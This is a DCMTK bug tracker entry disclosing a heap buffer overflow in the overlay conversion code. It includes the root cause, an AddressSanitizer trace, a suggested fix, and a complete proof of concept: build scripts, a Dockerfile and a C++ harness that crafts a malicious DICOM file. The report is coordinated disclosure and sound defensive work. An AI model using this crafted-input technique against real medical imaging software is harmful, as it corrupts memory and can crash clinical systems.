DCMTK - Bug #1240

Heap buffer overflow in multi-frame overlay conversion.

2026-07-03 10:36 - Michael Onken

Status:	Closed	**Start date:**	2026-07-03
Priority:	Normal	**Due date:**	
Assignee:	Michael Onken	**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmimgle	**Compiler:**	
Operating System:			

Description

As reported by quellsec.dev:

Summary

DiOverlayPlane::create6xxx3000Data sizes its output buffer as a single continuous bitstream of Width*Height*Frames bits, but it emits the overlay frame by frame and flushes a partial byte at the end of each frame. When the overlay plane size (Width*Height) is not a multiple of 8, every frame contributes one extra byte that the buffer size did not reserve, so a multi-frame overlay overruns the allocation.

Reachable when an application calls DicomImage::create6xxx3000OverlayData() on an attacker-supplied DICOM object carrying a repeating-group (60xx) overlay.

Affected version

- Target: dcmtk (dcmimgle)
- Commit read: 7246c5a9ca64c2d4312774bf40d046e255c00a41
- Bug is in library code (dcmimgle/libsrc/diovpln.cc).

Crash

AddressSanitizer: heap-buffer-overflow, WRITE of size 1, 0 bytes to the right of a 1250-byte region (for the PoC parameters).

Crash site: dcmimgle/libsrc/diovpln.cc:527 in DiOverlayPlane::create6xxx3000Data.

Root cause

The output is sized as one packed bitstream:

dcmimgle/libsrc/diovpln.cc:492

bc(cpp). const unsigned long count = OFstatic_cast(unsigned long, Width) * OFstatic_cast(unsigned long, Height) * NumberOfFrames;

dcmimgle/libsrc/diovpln.cc:495

bc(cpp). const unsigned long count8 = ((count + 15) / 16) * 2; // round value: 16 bit padding

dcmimgle/libsrc/diovpln.cc:496

bc(cpp). buffer = new Uint8[count8];

but the emit loop runs per frame and flushes a partial byte after each frame:

dcmimgle/libsrc/diovpln.cc:505

bc(cpp). for (unsigned long f = 0; f < NumberOfFrames; ++f)

dcmimgle/libsrc/diovpln.cc:517

bc(cpp). *(q++) = value;

dcmimgle/libsrc/diovpln.cc:526

bc(cpp). if (bit != 0)
*(q++) = value;

count8 is ceil(count/8) rounded to an even length, i.e. the size of one continuous bitstream. Because the bit position is not realigned per frame in that calculation, a plane whose Width*Height is not a multiple of 8 produces one extra partial byte per frame. With OverlayRows = OverlayColumns = 1 (1 bit/frame) and NumberOfFramesInOverlay = 10000, count8 = ((10000+15)/16)*2 = 1250 bytes, but the per-frame flush attempts ~10000 stores, so q runs off the 1250-byte buffer.

Reproduction

poc/crash_overlay.dcm is a 4x4 MONOCHROME2 image with a 1x1 overlay in group 0x6000 and NumberOfFramesInOverlay = 10000. Building a DicomImage and calling create6xxx3000OverlayData(buffer, 0x6000, ...) aborts under ASan with the trace above. Reproduction status: yes-rebuilt-and-ran.

Call path:

bc. DicomImage::create6xxx3000OverlayData (dcmimage.h:1354)
DiMonoImage::create6xxx3000OverlayData (dimoimg.cc:1619)
DiOverlay::create6xxx3000PlaneData (diovlay.cc:598)
DiOverlayPlane::create6xxx3000Data (diovpln.cc:527)

Proof of Concept

Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:

bc. docker build -t poc . && docker run --rm poc

Sanitizer outputSanitizer output

```
=== dcmtk overlay 6xxx3000 multiframe overflow (expect ASan heap-buffer-overflow WRITE in diovpln.
cc) ===
[poc] using existing crafted file /poc/crash_overlay.dcm
[poc] opening /poc/crash_overlay.dcm via DicomImage(OFFilename) file API...
W: found multi-frame overlay in group 0x6000 for single frame image
[poc] DicomImage status=0 (Status OK)
[poc] calling create6xxx3000OverlayData(group=0x6000)...
=================================================================
==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51a000000562 at pc 0x559901376bcb
 bp 0x7ffd6b022560 sp 0x7ffd6b022550
WRITE of size 1 at 0x51a000000562 thread T0
    #0 0x559901376bca in DiOverlayPlane::create6xxx3000Data(unsigned char*&amp;, unsigned int&amp;
, unsigned int&amp;, unsigned long&amp;) /src/dcmimgle/libsrc/diovpln.cc:527
    #1 0x55990135ac10 in DiOverlay::create6xxx3000PlaneData(unsigned char*&amp;, unsigned int, uns
igned int&amp;, unsigned int&amp;, unsigned long&amp;) /src/dcmimgle/libsrc/diovlay.cc:598
    #2 0x559900826dbb in DiMonoImage::create6xxx3000OverlayData(unsigned char*&amp;, unsigned int,
 unsigned int&amp;, unsigned int&amp;, unsigned long&amp;, unsigned int) /src/dcmimgle/libsrc/dimo
img.cc:1619
    #3 0x5599006057e8 in DicomImage::create6xxx3000OverlayData(unsigned char*&amp;, unsigned int,
unsigned int&amp;, unsigned int&amp;, unsigned long&amp;, unsigned int) const (/poc/harness+0x1f82
7e8) (BuildId: bda3d1b4d8f262b3317bdb6aa81643f2c5b59688)
    #4 0x559900603015 in main /poc/harness.cc:142

0x51a000000562 is located 0 bytes after 1250-byte region [0x51a000000080,0x51a000000562)
allocated by thread T0 here:
    #0 0x7f15869c06c8 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_
delete.cpp:98
    #1 0x559901376694 in DiOverlayPlane::create6xxx3000Data(unsigned char*&amp;, unsigned int&amp;
, unsigned int&amp;, unsigned long&amp;) /src/dcmimgle/libsrc/diovpln.cc:496
```

```
    #2 0x55990135ac10 in DiOverlay::create6xxx3000PlaneData(unsigned char*&amp;amp;, unsigned int, uns
igned int&amp;amp;, unsigned int&amp;amp;, unsigned long&amp;amp;) /src/dcmimgle/libsrc/diovlay.cc:598
    #3 0x559900826dbb in DiMonoImage::create6xxx3000OverlayData(unsigned char*&amp;amp;, unsigned int,
 unsigned int&amp;amp;, unsigned int&amp;amp;, unsigned long&amp;amp;, unsigned int) /src/dcmimgle/libsrc/dimo
img.cc:1619
    #4 0x5599006057e8 in DicomImage::create6xxx3000OverlayData(unsigned char*&amp;amp;, unsigned int,
unsigned int&amp;amp;, unsigned int&amp;amp;, unsigned long&amp;amp;, unsigned int) const (/poc/harness+0x1f82
7e8) (BuildId: bda3d1b4d8f262b3317bdb6aa81643f2c5b59688)
    #5 0x559900603015 in main /poc/harness.cc:142

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/dcmimgle/libsrc/diovpln.cc:527 in DiOverlayPl
ane::create6xxx3000Data(unsigned char*&amp;amp;, unsigned int&amp;amp;, unsigned int&amp;amp;, unsigned long&a
mp;)
Shadow bytes around the buggy address:
  0x51a000000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51a000000300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51a000000380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51a000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51a000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=&gt;0x51a000000500: 00 00 00 00 00 00 00 00 00 00 00 00[02]fa fa fa
  0x51a000000580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51a000000600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51a000000680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51a000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51a000000780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==10==ABORTING
run.sh: line 26:    10 Aborted                 &quot;$POC/harness&quot; &quot;$POC/crash_overlay.d
cm&quot;
=== exit: 134 ===

--- Notes ---
Entry point: DicomImage(const OFFilename &amp;filename, ...) (dcmimgle/include/dcmtk/dcmimgle/dcmi
mage.h:72),
which internally calls DiDocument::DiDocument(filename,...) (dcmimgle/libsrc/didocu.cc:35-64) -&gt
;
FileFormat-&gt;loadFile(filename) (DcmFileFormat::loadFile, dcmdata/libsrc/dcfilefo.cc) -- the rea
l
on-disk DICOM Part 10 parser any viewer/application uses to open a file from disk. crash_overlay.d
cm
is read from disk here, NOT handed to the library as an in-memory DcmDataset* object.

Frame #0/#1/#2 name library source files (diovpln.cc:527, diovlay.cc:598, dimoimg.cc:1619) --
the abort is squarely inside dcmtk, not harness.cc. Frame #4 (main harness.cc:142) is the single
inline call to DicomImage::create6xxx3000OverlayData(), the public API entry that reaches the bug.
Built at -O0 per harness-smith rule 11 (Fix A) so no frame is inlined away.

Allocation-site trace confirms the root cause: `new Uint8[count8]` at diovpln.cc:496 sizes a
1250-byte region (count8 = ((1*1*10000 + 15)/16)*2 = 1250 for the 1x1-plane / 10000-frame
```

```
overlay this harness crafts), and the write at diovpln.cc:527 (the per-frame partial-byte flush)
lands 0 bytes after that region -- exactly the &quot;count8 budgets one continuous bitstream but t
he
per-frame flush adds one extra byte per frame&quot; defect described in the finding.
```

.dockerignore (crafted input).dockerignore (crafted input)

bc(text). # Stale host-built artifacts: never ship into the build context.

1. The image rebuilds everything from a clean upstream clone.
   dcmtk-build/
   build-asan/
   harness
   .o
   .a
   build.log
   *.poc.zip

crash_overlay.dcm (5904-byte binary crafted input) is produced by gen_dcm.sh (inlined below) -- the PoC builds it at run time, so there is no pre-built blob to fetch.

build.shbuild.sh

```
#!/usr/bin/env bash
# Build the dcmtk overlay-6xxx3000 multiframe heap-overflow PoC.
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches (ofstd oflog oficonv dcmdata dcmimgle) with
# the triage sanitizer matrix:
#   -fsanitize=address,undefined -fno-sanitize-recover=undefined
set -euo pipefail

SRC=&quot;${LIB:-/src}&quot;
POC=&quot;$(cd &quot;$(dirname &quot;$0&quot;)&quot; &amp;&amp; pwd)&quot;
BUILD=&quot;$SRC/build-asan&quot;

MODULES=&quot;ofstd;oflog;oficonv;dcmdata;dcmimgle&quot;
MAKE_TARGETS=&quot;dcmimgle dcmdata oflog ofstd oficonv&quot;
LINK_LIBS=&quot;-ldcmimgle -ldcmdata -loflog -lofstd -loficonv&quot;
INC_MODULES=&quot;ofstd oflog oficonv dcmdata dcmimgle&quot;

SAN=&quot;-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g
-O0&quot;
CXX=&quot;${CXX:-g++}&quot;

if [ ! -f &quot;$BUILD/.configured&quot; ]; then
  mkdir -p &quot;$BUILD&quot;; cd &quot;$BUILD&quot;
  cmake -G &quot;Unix Makefiles&quot; &quot;$SRC&quot; \
    -DCMAKE_BUILD_TYPE=Debug \
    -DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
    -DDCMTK_MODULES=&quot;$MODULES&quot; \
    -DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
    -DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
    -DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
    -DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
    -DCMAKE_C_FLAGS=&quot;$SAN&quot; -DCMAKE_CXX_FLAGS=&quot;$SAN&quot; -DCMAKE_EXE_LINKER_FLAGS=&
quot;$SAN&quot;
  touch &quot;$BUILD/.configured&quot;
fi

cd &quot;$BUILD&quot;
make -j&quot;$(nproc)&quot; $MAKE_TARGETS
```

```
LIBDIR=&quot;&quot;
for d in &quot;$BUILD/lib&quot; &quot;$BUILD&quot;; do
  if ls &quot;$d&quot;/libdcmdata.a &gt;/dev/null 2&gt;&amp;1; then LIBDIR=&quot;$d&quot;; break;
fi
done
[ -n &quot;$LIBDIR&quot; ] || { echo &quot;FAIL: dcmtk libs not found&quot;; find &quot;$BUILD&quo
t; -name 'lib*.a'; exit 1; }
echo &quot;libs in: $LIBDIR&quot;

INCS=&quot;-I$SRC/config/include -I$BUILD/config/include&quot;
for m in $INC_MODULES; do INCS=&quot;$INCS -I$SRC/$m/include&quot;; done

&quot;$CXX&quot; $SAN $INCS &quot;$POC/harness.cc&quot; -o &quot;$POC/harness&quot; \
  -L&quot;$LIBDIR&quot; $LINK_LIBS -lpthread

echo &quot;BUILT: $POC/harness&quot;
```

run.shrun.sh

```
#!/usr/bin/env bash
# Run the dcmtk overlay-6xxx3000 multiframe heap-overflow PoC.
#
# The bad write in DiOverlayPlane::create6xxx3000Data (diovpln.cc:527) is
# caught two ways depending on optimization/instrumentation: ASan's heap
# redzone check (heap-buffer-overflow), or -- as observed at -O1 with GCC's
# libubsan, since count8 (the `new Uint8[count8]` size) is known at compile
# time -- UBSan's object-size check fires first (&quot;store to address ...
# with insufficient space for an object of type 'Uint8'&quot;) and aborts before
# the write executes. Either way this is a non-recoverable abort
# (-fno-sanitize-recover=undefined + abort_on_error) whose top frame names
# library code (diovpln.cc:527), never harness.cc.
set -uo pipefail
POC=&quot;$(cd &quot;$(dirname &quot;$0&quot;)&quot; &amp;&amp; pwd)&quot;
SRC=&quot;${LIB:-/src}&quot;
export DCMDICTPATH=&quot;$SRC/dcmdata/data/dicom.dic&quot;
export ASAN_OPTIONS=&quot;abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1&quot;
export UBSAN_OPTIONS=&quot;abort_on_error=1:halt_on_error=1:print_stacktrace=1&quot;
export ASAN_SYMBOLIZER_PATH=&quot;${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}&q
uot;

echo &quot;=== dcmtk overlay 6xxx3000 multiframe overflow (expect ASan heap-buffer-overflow WRITE
in diovpln.cc) ===&quot;
# Drive the real file-parsing entry point: DicomImage(OFFilename) opens
# crash_overlay.dcm from disk (DcmFileFormat::loadFile, the on-disk DICOM
# parser), then triggers create6xxx3000OverlayData. If the file is not
# present yet, the harness synthesizes it at this path first.
&quot;$POC/harness&quot; &quot;$POC/crash_overlay.dcm&quot;
rc=$?
echo &quot;=== exit: $rc ===&quot;
exit &quot;$rc&quot;
```

DockerfileDockerfile

```
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
#   docker build -t poc .
#   docker run --rm poc
#
```

```
# build.sh does the scoped module build (cmake -DDCMTK_MODULES=&quot;...&quot; + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04

# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
# --build-arg COMMIT=&lt;sha&gt; to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++

RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
        git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
    &amp;&amp; rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/DCMTK/dcmtk /src \
 &amp;&amp; git -C /src checkout &quot;$COMMIT&quot;

WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD [&quot;bash&quot;, &quot;run.sh&quot;]
```

gen_dcm.shgen_dcm.sh

bc(sh). #!/usr/bin/env bash

1. Optional helper: (re)generate the crafted DICOM file used by run.sh.
2. The crafting logic lives in harness.cc::build_dataset() /
3. make_crafted_file(); the harness writes it to disk with
4. DcmFileFormat::saveFile() and then immediately re-opens it through the real
5. file-parsing entry point DicomImage(OFFilename) -- so running this script
6. both produces the on-disk artifact AND exercises the crash (expected to
7. ASan-abort, hence the `|| true`).
8. Source lives at $LIB (=/src); the poc dir is the working directory.
   set ~~euo pipefail~~
   ~~POC="$(cd "$(dirname "$0")" && pwd)"~~
   ~~SRC="${LIB:~~/src}"
   OUT="${1:-$POC/crash_overlay.dcm}"
   FRAMES="${2:-10000}"
   export DCMDICTPATH="$SRC/dcmdata/data/dicom.dic"
   rm -f "$OUT"
   ASAN_OPTIONS=detect_leaks=0 "$POC/harness" "$OUT" "$FRAMES" || true
   ls -la "$OUT"

harness.ccharness.cc

```
/*
 * PoC harness for dcmtk-overlay-6xxx3000-multiframe-heap-overflow
 *
 * Site: dcmimgle/libsrc/diovpln.cc  DiOverlayPlane::create6xxx3000Data (483-527)
 *
 * Entry point (file API, the real attacker surface): a crafted DICOM file on
 * disk is opened with the public constructor
 *     DicomImage(const OFFilename &amp;filename, ...)          (dcmimgle/dcmimage.h:72)
 * which internally does
 *     DiDocument::DiDocument(filename, ...)                  (didocu.cc:35)
 *       -&gt; FileFormat-&gt;loadFile(filename)                    (didocu.cc:50,
 *          dcmdata/libsrc/dcfilefo.cc DcmFileFormat::loadFile -- the real
```

```
 *          on-disk DICOM parser, exactly what dcmdump/a PACS viewer calls)
 * i.e. this drives the SAME code any application uses to open a file from
 * disk, not an in-memory DcmDataset object handed to the library by the
 * harness. Once loaded, calling the public API
 *     DicomImage::create6xxx3000OverlayData()                (dcmimage.h:1354)
 * reaches DiMonoImage::create6xxx3000OverlayData (dimoimg.cc:1619)
 *      -&gt; DiOverlay::create6xxx3000PlaneData (diovlay.cc:598)
 *      -&gt; DiOverlayPlane::create6xxx3000Data (diovpln.cc:483-527)
 *
 * count8 = ((W*H*Frames + 15) / 16) * 2 sizes the output as one continuous
 * bitstream, but the per-frame partial-byte flush at lines 526-527 is not
 * budgeted -&gt; heap-buffer-overflow WRITE in library code.
 */

#include &quot;dcmtk/config/osconfig.h&quot;
#include &quot;dcmtk/dcmdata/dctk.h&quot;
#include &quot;dcmtk/dcmdata/dcdeftag.h&quot;
#include &quot;dcmtk/ofstd/offile.h&quot;
#include &quot;dcmtk/dcmimgle/dcmimage.h&quot;

#include &lt;cstdio&gt;
#include &lt;cstdlib&gt;
#include &lt;cstring&gt;
#include &lt;vector&gt;

/* Build the malicious dataset in memory: a minimal MONOCHROME2 image
 * carrying a repeating-group (60xx) overlay whose plane size (OverlayRows x
 * OverlayColumns) is not a multiple of 8 and whose NumberOfFramesInOverlay is
 * large -- the condition that overruns the count8 budget in
 * DiOverlayPlane::create6xxx3000Data. */
static void build_dataset(DcmDataset *ds, unsigned long framesInOverlay)
{
    // --- minimal valid MONOCHROME2 image (so DicomImage builds a DiMonoImage) ---
    const Uint16 rows = 4, cols = 4;
    ds-&gt;putAndInsertString(DCM_PhotometricInterpretation, &quot;MONOCHROME2&quot;);
    ds-&gt;putAndInsertUint16(DCM_SamplesPerPixel, 1);
    ds-&gt;putAndInsertUint16(DCM_Rows, rows);
    ds-&gt;putAndInsertUint16(DCM_Columns, cols);
    ds-&gt;putAndInsertUint16(DCM_BitsAllocated, 8);
    ds-&gt;putAndInsertUint16(DCM_BitsStored, 8);
    ds-&gt;putAndInsertUint16(DCM_HighBit, 7);
    ds-&gt;putAndInsertUint16(DCM_PixelRepresentation, 0);
    ds-&gt;putAndInsertString(DCM_NumberOfFrames, &quot;1&quot;);
    {
        std::vector&lt;Uint8&gt; px(rows * cols, 0x40);
        ds-&gt;putAndInsertUint8Array(DCM_PixelData, px.data(), (unsigned long)px.size());
    }

    // --- repeating-group overlay 6000 with 1x1 plane, large frame count ---
    // OverlayRows / OverlayColumns = 1  -&gt; W*H = 1, NOT a multiple of 8.
    ds-&gt;putAndInsertUint16(DcmTagKey(0x6000, 0x0010), 1);          // OverlayRows
    ds-&gt;putAndInsertUint16(DcmTagKey(0x6000, 0x0011), 1);          // OverlayColumns
    {
        // NumberOfFramesInOverlay (IS, VR signed long string)
        char buf[32];
        std::snprintf(buf, sizeof(buf), &quot;%lu&quot;, framesInOverlay);
        ds-&gt;putAndInsertString(DcmTagKey(0x6000, 0x0015), buf);    // NumberOfFramesInOverlay
    }
    ds-&gt;putAndInsertString(DcmTagKey(0x6000, 0x0040), &quot;G &quot;);       // OverlayType
    ds-&gt;putAndInsertString(DcmTagKey(0x6000, 0x0050), &quot;1\\1&quot;);     // OverlayOrigin (
1-based)
    ds-&gt;putAndInsertUint16(DcmTagKey(0x6000, 0x0100), 1);          // OverlayBitsAllocated
    ds-&gt;putAndInsertUint16(DcmTagKey(0x6000, 0x0102), 0);          // OverlayBitPosition

    // OverlayData (6000,3000): must satisfy expLen check
    //   expLen = (Frames * Rows * Cols * BitsAllocated + 7) / 8  bytes
    // For Frames=framesInOverlay, 1x1, 1 bpp -&gt; ceil(framesInOverlay/8) bytes.
```

```
    // Provide generously more so the in-bounds read path never OOB-reads
    // (we want the WRITE overflow, not a read).
    {
        unsigned long need = (framesInOverlay + 7) / 8;
        unsigned long bytes = need + 4096;
        if (bytes &amp;amp; 1) ++bytes;                                        // OW -&gt; even length
        std::vector&lt;Uint16&gt; ov(bytes / 2, 0xFFFF);
        ds-&gt;putAndInsertUint16Array(DcmTagKey(0x6000, 0x3000), ov.data(), (unsigned long)ov.siz
e());
    }
}

/* Synthesize the crafted DICOM object and write it to disk as a real file --
 * this is the artifact an attacker would deliver (email attachment, PACS
 * C-STORE payload saved to disk, USB media, etc). Uses DcmFileFormat::saveFile,
 * the library's own writer, so the bytes on disk are a well-formed (until
 * parsed by the vulnerable overlay code) DICOM Part 10 file. */
static void make_crafted_file(const char *path, unsigned long framesInOverlay)
{
    DcmFileFormat ff;
    DcmDataset *ds = ff.getDataset();
    build_dataset(ds, framesInOverlay);

    OFCondition cond = ff.saveFile(OFFilename(path), EXS_LittleEndianExplicit);
    if (cond.bad())
    {
        std::fprintf(stderr, &quot;[poc] failed to write crafted file %s: %s\n&quot;, path, cond.t
ext());
        std::exit(1);
    }
    std::fprintf(stderr, &quot;[poc] wrote crafted DICOM file to %s\n&quot;, path);
}

int main(int argc, char **argv)
{
    // argv[1]: path to a crafted DICOM file to open (e.g. the checked-in
    //          crash_overlay.dcm). If omitted, one is synthesized here so the
    //          PoC is still self-contained.
    // argv[2]: NumberOfFramesInOverlay to embed when synthesizing (ignored if
    //          argv[1] already names an existing file).
    const char *path = (argc &gt; 1) ? argv[1] : &quot;/tmp/ics097_crash_overlay.dcm&quot;;
    unsigned long frames = (argc &gt; 2) ? strtoul(argv[2], NULL, 10) : 10000;

    FILE *probe = std::fopen(path, &quot;rb&quot;);
    if (probe) {
        std::fclose(probe);
        std::fprintf(stderr, &quot;[poc] using existing crafted file %s\n&quot;, path);
    } else {
        make_crafted_file(path, frames);
    }

    // --- real library file-parsing entry point ---
    // DicomImage(OFFilename) opens the file with DcmFileFormat::loadFile()
    // (dcmdata/libsrc/dcfilefo.cc) via DiDocument::DiDocument(filename,...)
    // (dcmimgle/libsrc/didocu.cc:35-64), exactly the path a real viewer takes
    // when opening an attacker-supplied .dcm file from disk.
    std::fprintf(stderr, &quot;[poc] opening %s via DicomImage(OFFilename) file API...\n&quot;, pa
th);
    DicomImage image(OFFilename(path), 0);
    std::fprintf(stderr, &quot;[poc] DicomImage status=%d (%s)\n&quot;,
                 (int)image.getStatus(), DicomImage::getString(image.getStatus()));

    Uint8 *buffer = NULL;
    unsigned int w = 0, h = 0;
    unsigned long ovFrames = 0;
    std::fprintf(stderr, &quot;[poc] calling create6xxx3000OverlayData(group=0x6000)...\n&quot;);
    unsigned long n = image.create6xxx3000OverlayData(buffer, 0x6000, w, h, ovFrames, 0);
```

```
    std::fprintf(stderr, &amp;quot;[poc] returned bytes=%lu w=%u h=%u frames=%lu\n&amp;quot;, n, w, h, ovF
rames);

    delete[] buffer;
    return 0;
}
```

Impact

Heap out-of-bounds write whose total overrun length scales with the attacker-controlled NumberOfFramesInOverlay, host-byte-order independent. Memory corruption beyond a heap allocation; demonstrated impact is a crash (DoS). Severity: high. Not claimed as RCE without a working control-flow hijack.

Suggested fix

Make the allocation match the per-frame flush, e.g. count8 = NumberOfFrames * (((Width*Height) + 15) / 16) * 2, or realign the bit writer to a byte boundary deterministically at frame end so the packed stream matches the count8 budget.

<hr />

All quoted code verified present in source at commit 7246c5a9ca64c2d4312774bf40d046e255c00a41 (snippet gate: OPEN, 6/6 PASS).

History

#1 - 2026-07-03 11:14 - Michael Onken

- Status changed from New to Closed

Fixed with commit d0a6f8afaecc676dfc8e36a0ee1a729455a7f74f.